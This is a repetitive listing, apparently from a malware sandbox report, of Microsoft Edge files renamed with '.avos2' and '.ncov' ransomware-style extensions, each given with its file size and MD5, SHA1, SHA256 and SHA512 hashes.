5a210567f6085ce1d6f7d811000632cae2882900a4fff3676bc4927062599f15e07e7888ba2769713e2c74cf2ee6ba0cbe6b23bdb869b0f7b0348ee41e40800f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\sr-Cyrl-BA.pak.DATA.avos2

Filesize
688B

MD5
4c78de46bd64de7ff0d93e27f64425cd

SHA1
1aba26a1ccbfd9ab31c92356c2a6ca8473af6ab0

SHA256
3105ff22e39728b1751f664afcde92b22b725b1fe49e272a08adf4c7460c8fab

SHA512
2bdd200414781bfc351f07f077c73ce082630aa7966c5a6f0fee962335b060d0ee80c3d99449892bee1f28c1f8175d24f68ce93fe8e4325fdd2e87a179602674

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\sr.pak.DATA

Filesize
688B

MD5
6bfc6693f5f8e7358d04948bf9445c0a

SHA1
b2a6bad638f83a0b776a4c51313843b90c8cba6c

SHA256
5aaef03dddc0dd3b71efd800ac8fb9eb2c85ac78719df38df63ef054dc8a9ac1

SHA512
58f99a4abba33fa20db09268148efbf97eca718ebe1c588be6bff714c0baf3a331137e5e80e8472d3deae2965482dfc41b8ad37e0c4eff928365e867e65abb20

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ta.pak.DATA.avos2

Filesize
688B

MD5
8c43134fc55f248c4ab108ce52811a27

SHA1
be39a30d2bea1dfaa670b842cd0197d829d40802

SHA256
e7325df12c7df38a8aca7815fab415c4b69c980dc9b8ab9a334eb52147e0f57a

SHA512
6b5b1bb3f71bce8b89853c446cd7c5fb594ff771bc9c4fa13b9b253a97e8a659c714836fb1353c400a0202afec23a8610746d904d8f65e134f3c8fb66c32cffe

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\th.pak.DATA

Filesize
688B

MD5
055216ed92fe2ac2ac2d20681466089b

SHA1
2845e3c88c4d17b310d8145dc720dfa27ed1311a

SHA256
19a3fc6e2aa19ce249187a23bf374efda6d62259b0f8f5070c02e3806eff5525

SHA512
5acfa499e325e54bacb2c58f8841aab6b7f5859422732adbae45349ec2c3f7d66d438839976571510a6729b4469e23d3c209710889daa78756912b4c1b276d6f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\tr.pak.DATA

Filesize
688B

MD5
fcbe78d33db191db8a43305509e36eab

SHA1
a165411d219957d3554bbeee66cffe4deee6adbc

SHA256
adfda41360df8ce900ccb41282b6aaf96be46544721e62ab2993ea5cc9ff4870

SHA512
bfb1dcc55d21d94fb8deb6242e8a8ed1d40a5c628e50cc39896dd4e9dd768338220c86198023a079812dff0121365a00cff3a64b746ba4182fe9cafbf97ebc1f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\tt.pak.DATA

Filesize
688B

MD5
2a15cd7ef1780f36efabef948c7b6447

SHA1
8cd4d0966cd6416c281dee98fb0208972bc2956f

SHA256
4c866503c9a46f2e16345f030a11013a26767d93a53f075605446db18bbb0a78

SHA512
5e7b030115f99ad8ed44bf8c6f0191eb275730d44dd8ab2a1189c8fba5812ce06a8ceacc19b211a3d265fffeb94e8523a9702a27c63aac6d03b598e30df389c5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ug.pak.DATA.avos2

Filesize
688B

MD5
66626a4eaca5d48e23cb6cafcab551f0

SHA1
64aa7f402b2af2f91a68baac5eccdd033201ead0

SHA256
9b4e27d0934816355e6cf9057155c39b4e32121de6e533c2aa119550cc1038df

SHA512
164b71919ec23c6bbe642eb68b8ea6bcd9b6699e39eed0295fc9a3e285c7320c09b7d1e9fd024b8f8e74e1544b8696ddc9b9090b1f4fd0e40c197ed97f95a53b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\uk.pak.DATA

Filesize
688B

MD5
6fbca464aa6c0952e49ec13c296d1abc

SHA1
3471c51e43605730905b637b5cb85c5e75f87974

SHA256
88441cf900b2d8c5180c389645fe84c42bf95bcef4d27c21880ac43682c279e9

SHA512
d20bfe22db6754786421ad14b9960bbe112b59d1be80d566aaf7bdbf3477ca8585af97a8a71ba14f208472b59d399d1f22962c43f7c1f21f1eca874785d2d47d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\ur.pak.DATA.avos2

Filesize
688B

MD5
1bb32a84c33d742de79477b2e7e234e4

SHA1
2dfc764bae3b86f5b4bd4adac7973ff45ceb8144

SHA256
c9f18e4f82bd611377d4ab220f1551214e075d1cba082916585a3ee4bc8866f3

SHA512
31a4dbd6035e0e9389cd0ac5000ab8a14c6015937bb18dd9aae045e740ed757b3cfd716dd4dece52dd92259ff2a137a3b8c035ea5f11c6fcf87c5deb1eca75ee

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\vi.pak.DATA

Filesize
688B

MD5
e775723ab935f378d5eb81a93c5d1eea

SHA1
b6b1ce6cfafd210baa0f7dcc36bc5ccc0e81e708

SHA256
654069ee8348ac89e732fce09c9f73440d5bce3b703cc539529fb56befbfa2b5

SHA512
03bbc3f1ef685c9e44e71f3c4cf6e2c54a73775df9e122d7558a3b3625977d8ab184b17b712fc73fdd31e5633535d181fd574c6e09632fb384d9064d8956cdb0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\zh-CN.pak.DATA

Filesize
688B

MD5
0ee6b12da2561221d71d7f0cbb03bfec

SHA1
3c8867d8c2cf814ce8af5aa74ac7d34d94db4fa2

SHA256
e7094abdc651fadf40eaee1e5ae86b0399ff7381102c0455b5989edb82198017

SHA512
1eca6b3e096e2f6897252afcb920e79d3eca22f6b6cdc5498438b6890d2ccfa96827cb6be497c569808d25e1b3d29a4a2ed9d682fd97fd226e0b08959ae3725a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\zh-TW.pak.DATA

Filesize
688B

MD5
988e3a53b51c973263784d3901ea6a2f

SHA1
96f032774ef413db14c70b17549ca627825bd265

SHA256
d8d1542ee9f00fc7c667779cbe2f76203eb3e76d0af1660abef3bc2fd921b227

SHA512
cc1833d2aac467612dd275d49ed9fff64941dc531cc6c8d161378d53b0b8726910d40865cbb6cf514da316b393b00f1a2239d0ce9a4771a771b1f26eaa3648a5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\MEIPreload\manifest.json.DATA.avos2

Filesize
688B

MD5
798bd4611ceba04a071b2887cf4e3eed

SHA1
7acf0b6b33f283d839b9841252b9233597ab8aaf

SHA256
9a70e0fd1cb4b14c45676f1305d425fac13823acadfad7c304926f6de63e7d2a

SHA512
196f7d5e383c8513c1be5bbf2959457f4e52cd1add4883ff9d452a19591fa2d2e86f1220d459c4f011759b907b14970d2ab9321a1d571d4a592fe60101477777

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\MEIPreload\preloaded_data.pb.DATA.avos2

Filesize
688B

MD5
697e4e8a64520f97cda4817883994915

SHA1
d9a35945739469ae91cce50c45ca8204561af348

SHA256
75ec348320c3488dabc35d40ad6363d937db439471230d810dc3badaf73a0e6f

SHA512
0d023f27c2d45ffe6482a789eb018909837efb1198ae6c83cb07ffc8d0ea551ceb6458068b542cccdb87f6f7bb129414e7f870cc91bc056ac02b400aad9eac7c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\MLModels\autofill_labeling.ort.DATA.avos2

Filesize
688B

MD5
d1964dfef6208c5e0e113309d7a64d44

SHA1
6d388afd30cbea40a13833caa46159cbfbedd9e3

SHA256
b972031cea9968e3d79344564de02ac2880cbab62b75637e302b4d8b049ca1fd

SHA512
2000e924263d5180bf15d4fb1dac62369a24a49dd05a35244ab6014b5b411cae08319d5b7cb1670be4743dee70b90190ef3b8196311139117f48cfa8bf290957

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\MLModels\autofill_labeling_email.ort.DATA.avos2

Filesize
688B

MD5
45e5e1f3ad39d17fc500ddbf92e6e271

SHA1
bf49c3cff1e493b20f651e3a35d521840bd2e94e

SHA256
301f6c88572440328d9f76f606249d95b50a77ecd9679e47c4e7aa5015077dda

SHA512
dd10c4bb8a63a1336dd1d236bad24d04e11b931414c8535f25c90bbbb07e01cd73fe69113282c6b4687eddd0bee06c2c51cf405518e2b71dd86b017c698fbfac

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\MLModels\autofill_labeling_features.txt.DATA

Filesize
688B

MD5
bc1f5a6a0e7e496947c4bca3eb8fe990

SHA1
fb81bca403e3e15b172685fa440f537ef89e6ca0

SHA256
e1078bce5cac0c125d6fdc01037eb78eabe1f817e3b8397b2eb352630e550f7b

SHA512
5d4009f84556e32499b3346d42fbf6eb92ea8acb43e2f0f27bcffbe55db172c86465d0f114f5ae7864ddc4b82b7dbb5366a6d02951fcce679bf0437c968a9725

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\MLModels\autofill_labeling_features_email.txt.DATA.avos2

Filesize
688B

MD5
9e7d3f17617c710e0163b8103702ec9d

SHA1
e346149dbf5f95dcb91da70c43b77dc0344aac24

SHA256
db9e57e243968155a45bec4c33b40bd98206d42e83eb44da310d89d6793ba346

SHA512
67a11662bbaa14a028b3d7493045291c18bd4f9c625f6e4acd627ec416685b0f8393aa5c02b0578690a56a30eea3830aa8ef7aa615496e5dadd841b9a53808a5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\MLModels\nexturl.ort.DATA.avos2

Filesize
688B

MD5
7296640aa032820fe75e92f1fe7c9c43

SHA1
356b27a6b7f797182fe5d1c4d9d5adaa37280c8c

SHA256
5006f8dbe7ecaa28332f7d5589535c91d8554e610f2b224a4a41af2f1164e804

SHA512
579d3202a52fdc28f067d741320903dfc7eceefd2be1c72334bc818b15c3296651d51d983c4f8ed62775b10d70bf3939589156449b0e95818f7e9692fa582883

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Notifications\SoftLandingAssetLight.gif.DATA.avos2

Filesize
688B

MD5
c9a213e818e35d8cfd1cef033a31a1e0

SHA1
7c1bf404d4b6543892ddd08f27255d2c486cf1d8

SHA256
00ac2c58ac0f1ce42a2a8c6dee5d2f80da05ae5dce1e5db2b05f91002a0dbcfa

SHA512
4d957eec7c8a3890381edbfedb1d7becf3417a62c27f6b7b848be60d2f09a654b4f063cba5f2d0c84aae293f298ddccb1e59e4451bd8eaa9d25d9cb39a122c5f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\Advertising.DATA.avos2

Filesize
688B

MD5
6e3e6c2310754d10cdd6ac766cf4342c

SHA1
9d2ae704bd48fc2d31dbde64f1370fbb8b07610f

SHA256
d911a6bfd893b0d294b6bf5fdbeb7cde1e9ac38989dd2a8a5087e468e73cf2f0

SHA512
90d458ec9ff194e666e59d4cbcf6c9007b7a68c46059c9b4550e061f6b835e6a5bcab1cf5d0ffe8bc3f997307225c1c1bb5c3630d5006b12a346371194aa0e3d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\Analytics.DATA.avos2

Filesize
688B

MD5
b68185017cd73dc7a38f19dd83fc63bc

SHA1
8a518976515228267e4ae3fd000cc004a835df81

SHA256
2510e5ac0b0796e0078c04422f196d9d013cbbd8328df305fb573764dff3cb88

SHA512
b7ab7bf7f4f37c1c15c4b1ea4fcd4c0048cad13ec866a61ae64450bff515833670e2167ae7f15f22097d96cda2caef58735592f9527eebceec3d3e4a9e42949d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\CompatExceptions.DATA.avos2

Filesize
688B

MD5
db164d834a6e9c364645c9b257a4b1cc

SHA1
f398e7770f8e05d6052fe797fa0ec5af76b471b7

SHA256
a35ff9629c89b4176a0a07e7c7d676a39858938c24ccbb00e7bc81d361b4c448

SHA512
e2c90ab3c4080746b65c97517417ac5d9dac1bdc959a667b221dc4c5246e9083c9a1fa55a2a41f8e9aa05013af7ebf0501530de4e1a1f63c0328fb4ed9a7e80c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\Content.DATA.avos2

Filesize
688B

MD5
c99d8f1566e02f4ff2dac01aea8684cb

SHA1
6965108ce17c721ace030397cdc8d8d9b043ece7

SHA256
28bce43f9906e7b17731716d170d156c4fa0c791a65f595e7b460e20d9ffdf59

SHA512
dc4fab776a9b57e965fba2a2827882a2540a68bd0412c34688f32f186d2f276cb8f346ee17a01602becb0dfb2597e0b82b60096dd79bd6287cdad97538a065a2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\Cryptomining.DATA.avos2

Filesize
688B

MD5
ce3a6561740999be0c62bf9967c57212

SHA1
27754720ebbde66f5bed6aad46d1cc773d0656cf

SHA256
bc18a61bd20f994da793bb0014e3b37e28f2809d29431ff9fc840ae55a8a7f3d

SHA512
343de49cdc5dcc97efe59a673fa829baff7303a3a814cf04247e3f3076a68293008910ec6490f3febd405dc31377f39029fd47ef290d1cd299db912b72bfa88c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\Entities.DATA.avos2

Filesize
688B

MD5
7702fd017047be72f4a2bda63842dc03

SHA1
77db5201d5cb2058ddc11dc22b073555996eb6aa

SHA256
af47d648d1e2381f4e922ccb21382f9e3e75334915eb73dffab39d6c05353ce6

SHA512
a90de7e89d48449099a54fcdd16345bd2aa622ce24bb8a34debacc41c0779c097197def55445f60f8287396e9dd4c54d3a739f023dbaf5aec8717bce6c1e11e6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\Fingerprinting.DATA.avos2

Filesize
688B

MD5
372ceda866bf424635b14f74d819236a

SHA1
76170a9ebcb4b2846fac6be2a7e182be2caac4fd

SHA256
df9e9eb1ab97a97fa5a06f877371249af42a10aa3a58f49da2339972d78f8238

SHA512
28bdb2cee4fef02489ad80cf974c2e21be3548e87f34b2e57cdf10ed75f8635a7ca8ab09de53c8d89a1fd07c6822201e8c10436ca8c8d11f0e0028a65d3fe422

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\LICENSE.DATA.avos2

Filesize
688B

MD5
32b384778e763d9dbf16cff1dd262c02

SHA1
fa6f042e98cc2f62f10a200850b8858f5c12036b

SHA256
2d066b7071151c5738f905671c0ec6d1de8273b23bdc36a72bb686369e141848

SHA512
bb019bc8eb09e3fefd24584c022cabe8575c614ae109c11e64addb47f59432145732c42a2c51a9f3f95fb2472e3a3bd7fc6f954510cef535337960f9db8274cd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\Other.DATA

Filesize
688B

MD5
91b7182aae7ad3aae39bacee08427929

SHA1
2c726d175eba11366c7f0fa7afbeea409fc8b65a

SHA256
bcbf5cdd56b6a4ec9fa5e7e2e2a46e883bbf628b6f863d1df223e864a0048fb7

SHA512
cf857e96e7c90f785f151741036466eb614d6c8540c5e7b66a68405747794547e7095842debacb5728fe3b98a808c1d0dd873962a0c5ea524decd5e90ebf47f1

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\Social.DATA.avos2

Filesize
688B

MD5
4f11eac735bc03380da733f12a9b746f

SHA1
56d1d5f2a46132d51efd89e3d7c04851a5fe384c

SHA256
9ae875f9ef696b9f3a18fa191cf8ca8ceb7cf74dfc0e5e84044243b7a8c73ed5

SHA512
90a77f55a69bfb5beb63a66c75800cd1dd7234e73904429007a4d19aa657043ea8119857c6bcb1b7f0f552809ab61ed73e814567d3d7be4dc054a722b127b51d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Mu\TransparentAdvertisers.DATA

Filesize
688B

MD5
fab30c9e6007a4bb049c91da5aa9d0a7

SHA1
96e277e69a181d40014d993a2143fbb43a9af71d

SHA256
d6b8d3c15db759c285dd521182048e69eed52c72ed079650e8be82c6a5a97e6f

SHA512
04ff3c8c96f5d5503a6b00d49e4d6549167d1b94063af4cbe941c09d54802493d11716a14ab53efbbc02153033246796b3e3ae6c099548f15487db54dd996430

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\Advertising.DATA.avos2

Filesize
688B

MD5
a10cc3dc038eadd133061bd472dba644

SHA1
c4f039ab9696aafaaa4699f8e5a26869ce98ee25

SHA256
7fd4a8d78d00dfc4d0bb3be02f44cb0e3e648033043bc5b39b4ffb836ebc075b

SHA512
dae4d382df251b00d3700228b35780b39892bed93ab90bf235e5d15ab5ed2b24aacd312f6b26819b569654483650142afa9f50b94eded4994a1a446b3c80fcd6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\Analytics.DATA.avos2

Filesize
688B

MD5
c2cf5523002b724389db25634513b018

SHA1
534dbf11375817d7594e198902c38612900070cd

SHA256
3617808eda20501c33b031794537c03a31e1d1822c3d7ebcc21c4f2ea1acfa52

SHA512
d97e922395b482a2dd15c623d686dc1daf3327f40ab412dfb5f48f289379961c6a197e0859254277d3f1841dea0198b896e52e94d4bae3288350f5f4940fead3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\Content.DATA.avos2

Filesize
688B

MD5
13f2d16740dcf41006d6888fa7aa27ee

SHA1
1a35ab9082bb6912ae53f86198ef6b1f906f8416

SHA256
1e4c26d2eaf0de729657f16d8d57399d037afec579d8af13b36ba71b7b9263c5

SHA512
c38da9a1338356e353313d800de4dfa528c6adde468cc24cd2d1ef0c94084459d40d1f22ecec66f26a10e93a272e651e15ccfe930c5a9a7cb5777edcb8fc00b8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\Cryptomining.DATA.avos2

Filesize
688B

MD5
27333b1e167b8946fb4f7fcaf22361ad

SHA1
23f299b6cdd733e1146adce589f4e84b6309d682

SHA256
7a18fbfe2e0b5368192d27ed611e68b396f22b049df648db0d731a747a227649

SHA512
aa9a706fa0c000aae7feb178e691a396c61653ad10e5cb6c3031c179be3dc2f4693ac823905d643a8e5e6936e2d126c73edf9788c0ac4968b557ec6af6088689

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\Entities.DATA.avos2

Filesize
688B

MD5
e7fd803440fd4a353f0de4700af2dfcb

SHA1
b3d97892deb921ceb3815419e3780b01c546ad61

SHA256
0d101019c5d860e355186328e31bcde291eb72f233bc5f475da00ac222ee1136

SHA512
e9b11dc5a2fd784a5d9acad203b6ef78853f21b696111f1f61581607ab547bfa14367be1ab5b0b385e063dd3b6689f8a31ae1c14a8c33f2d2a45b1a1e698ba88

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\Fingerprinting.DATA.avos2

Filesize
688B

MD5
437671e1a0c9372b9c366e9eee601448

SHA1
248093fe4336f778a97227f73cf3cd788d7e2766

SHA256
513b34f6057efee3c44c9ca30a22c43456b874431fc7c17732ca506e9ae62432

SHA512
4bf3fcd4a226c809a6fe1224b335972bb05dc0d8d37f74c00944a8b376911087e761207767a155b758e9187c334d168734ddf6c642727e32b70dda9ebbb314a7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\LICENSE.DATA.avos2

Filesize
688B

MD5
8da05668189f66c6974f4b86f3df8b43

SHA1
5f3ab0b83483ac366bb4d4f6fba3710f6a6470f9

SHA256
58cd1272f768997dbe4517c6bf11c681f8ffc734eafb6c5eb1c9b2490eecb58a

SHA512
87a0937a6724bebfb6af7f142eb85b61967f58c2d9696ac081ec9d3f683e52b6d5114f388aba0b1bf51467a6b8aad29f68785326a6d6f312520f0d86e78f159a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\Other.DATA.avos2

Filesize
688B

MD5
cac83a26334b2624296b7d078c3147ef

SHA1
141bcc44ed29fe96da57728fa85815c7bf4332c9

SHA256
fc286cd656a79301c095a1cbc8fc3b3fd8ad3625b750bcf85a44d7f18d567a97

SHA512
5956d2bd3935632401692a4b160d28fc1dda58271353413bbd768112f4a3e79f42de934bdf0a206f66a02fc2c80d79676f5afe056b5bd9d9e67f06af921d59e9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\Social.DATA.avos2

Filesize
688B

MD5
4895a35bcba924a86d913c94ee41df26

SHA1
80c1fd41da796e98f653beaf30ae09686dc08386

SHA256
3f152d719239a37cdaa5e047c52c28da935dd17ea6ebfa068206d85d2ce58dfc

SHA512
e6750672f42d631b437aca8c925351cc63d2b66b9d072ca876c55b5ffb7b82ae99d4593e74bc95de700618d2dc5d7d12b2e7d051edcf56813ac18b70688d7344

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\Sigma\Staging.DATA.avos2

Filesize
688B

MD5
c8797dfebc6fc3a6a534b19197e3a441

SHA1
18c4e12301979ef0bd7c057dc49a84f52bbf9a49

SHA256
dbabecfc2808e087341d495bbdeb5420f2510996424258f649ae0ef7411aae81

SHA512
a7d19b669bd1d878e1f33b9a07f06cfe8d9a3358236400b33d657a4fb53a8bbf450ea4bf1efe30e5c27f2cefeb0299bc9cacb62a5f75f37276f3bb628db03f20

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Trust Protection Lists\manifest.json.DATA.avos2

Filesize
688B

MD5
dde5c2db8f4421bd692723b2127decc6

SHA1
57d28bd7dd7658e73b0482a01c20fd28c08444c9

SHA256
aa5aa69873ecb882c98567cb95dd5c28e9804155aaa9811fb26e1a27fc27c365

SHA512
9a032a92cf7eaace885c3d5f85772d930045a6ca9eb9c725cc144fa1b957d86bf5b20f9374814977bddc65d852195cfccec0eac4ea629dc6807442888fb78808

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\VisualElements\Logo.png.DATA.avos2

Filesize
688B

MD5
cc10f7e0affe7982220344a3463fd98c

SHA1
7da70c91359a3a4dabe780ee60850fad138bac1d

SHA256
14c97d187f56057de418c6521f9b0d36462c5559a18926cc0bdfacf42eeefe24

SHA512
954c3b72a131bd2b2dc16c0c935c508bf7cf0e520411276253e8cc354743cd7ce070b57f1ce99eb76e002fd88011d654aca37b12072bbb69b5c966a47eece4d8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\VisualElements\LogoBeta.png.DATA.avos2

Filesize
688B

MD5
086be5a0e423b4cf77201539f0df475c

SHA1
f512dfd01e77512e8a4c1d27ec95e17ab1da433d

SHA256
b5fec7bf4b347ade8e85ae8c15e41e19fd8d23eb9878a3041fca614dff032216

SHA512
56f6fbbeaba8bdad1aac1d5440fd87ce64f64b96719b072b93279a4714217e2cf6647ea49d0d37e3875466ba08d62d7ba0140913502e97865ef1ebaa6ea1f528

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\VisualElements\LogoCanary.png.DATA.avos2

Filesize
688B

MD5
3d544ba9781589403b55368657150dde

SHA1
d9310c72802c691a25f1349b316eda522c298015

SHA256
36dfbe4b1af57aa131711d47aeb1043e952bcd0ae4a62c6947baed350c587f90

SHA512
ad64bf9d082bef6c67ce1eb2d0d320a3916893ab3bf771c348d83eaaf3134f27eaca7f91cb52f64d156079899fb0a0d0cf33ac4b32d4d51753b721d95f172f0d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\VisualElements\LogoDev.png.DATA.avos2

Filesize
688B

MD5
32fc617b42610e020cb6e68653312627

SHA1
4ec5097e33c3d3f566edfa8ebaae94274a7888a3

SHA256
e54b1e4d4e2c6c5152ee539393525e1d248be9bc3ea73432fe5cd64454a0f252

SHA512
fc62bed0d1107ae105ebaadf3599e343c3d7f251953a3bd1b3c2533b8d3658e61f377415e001c0658fc01c93f56a57576fb1219bdbf5630d6c8e18832b6012e9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\VisualElements\SmallLogo.png.DATA.avos2

Filesize
688B

MD5
a96d89772efc2e44f507b62508c62680

SHA1
3e041ea973b7c8b2910726f4e863d386f352ff5f

SHA256
6e8a245c8124ed754b330a1248cbc9e6ac5620acd9b7e03155c404c674d8b5af

SHA512
cb7ec09585dddd8e017bdec3371276fbe894e20b5040c86138340b9e7919cd053fa02db61a7d850f0f927220cf40acd5ca914613af74f53f7db08ce7a98a334a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\VisualElements\SmallLogoBeta.png.DATA.avos2

Filesize
688B

MD5
0d7414eeb328a31b4f32c0a2e5fe224c

SHA1
6b2bdbfb7c48b0bc27c452a3ba9f9b1baaf10336

SHA256
b23ae2fbffcbb9df8e42c795384eaea6e400d75a1da61ae77690ccc0d6f130bb

SHA512
9ca4ae742c9c6ddb82b258951c52f9850fa6a0c3c62abe7d208ddbf4d47d43a2e4e803f193c88b3e473f54d59ceb719983a1821a9a9e95d09f3186f86545613e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\VisualElements\SmallLogoCanary.png.DATA.avos2

Filesize
688B

MD5
49055cbc6a597f9aa612f7b645ab8f3a

SHA1
4e5359a841f7e0e187f45ac3ae4385141c176579

SHA256
ca029f3efd7a03db43eed85bb6ce6a06fe47cbe80e1cb94931f77ba0d68aa2b6

SHA512
0250fa4926ac78b8d368c90aac0efe35766f5b35662d3b067362a9adb76108ce4563d7462457f33c5c238751b76e76c908316e841dbe63fd3d8c09c3401c2de0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\VisualElements\SmallLogoDev.png.DATA.avos2

Filesize
688B

MD5
23b5d7cc094e8688c7b1aba61cba0102

SHA1
f360489aad220e205a5bab92070a0f1a712912f8

SHA256
c58f509bbd2f8a067515a798226a8c91546384b32d6a034bdd24bf34af99c09e

SHA512
592ebd63897737a26d274732dae237fc429b10d4b20cbfa7b5443cd7545efca0286dc1ad7fc2c77f36c569c459091c9541e98bcf5d429c4a50d485d5b5a76fa9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig.DATA.avos2

Filesize
688B

MD5
956a349f99385b4122cdd1d902dea063

SHA1
55ab723f6b50927c83719c3d2486c282234ca47e

SHA256
173ffde8fc4e83617ef330df1e24185f01181703d9b0309893c2bfcf5f340196

SHA512
e45306323cae3b3aa88f98ad35d56a4717245de1888496ffeb93f709eb811ee6c598aa8f8838bd6048e1e50bf2ece1df8cd3d76f3476a7eda666c1b34cb9dce6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\WidevineCdm\manifest.json.DATA.avos2

Filesize
688B

MD5
8f650a89e1130439fb34f7eb865f7929

SHA1
8bcd5a731d3cde75799e00ded4413b12f080ee88

SHA256
2b20e26b7d30712f51e330d758939fd5108bf3e874bbc3e6422e421fb07ccb52

SHA512
afc8f6ea1ecd9d01337065c1cdf2c7f38f913eaa9489f56bddc6ad15ba4385ba8d78d2b3ff90373a0e93c16d5d75afbbbbfd0c157c1969232a37ed1d53d1c4c0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\icudtl.dat.DATA.id-9C365015.[[email protected]].ncov.avos2

Filesize
14.1MB

MD5
42541a4767b272be4c7bbd6bd25d926c

SHA1
67c9b3115724488276b49b8610e43fb2405a4263

SHA256
5cb78477ba7a62a28be6930180d1d113a6f0df99b7049891f6a5207e905adcb0

SHA512
e4510c9a11177962d350f8d52cff2ee68fcd3316e367a2a652956c8a4930cb8b89a95693839f8438a35b0e21a13e5a3b4fc401bc93fbb8ca41977793f12a4fd2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Beta.msix.DATA.avos2

Filesize
688B

MD5
3ecd866b1d223ffff4039a1922245543

SHA1
5988cfa04e177553a05e31d08417e9dff993806d

SHA256
f0bb093d4dc2b48112f280d08fe28dd44f6fa8cc6ada325cd73debcde77a0273

SHA512
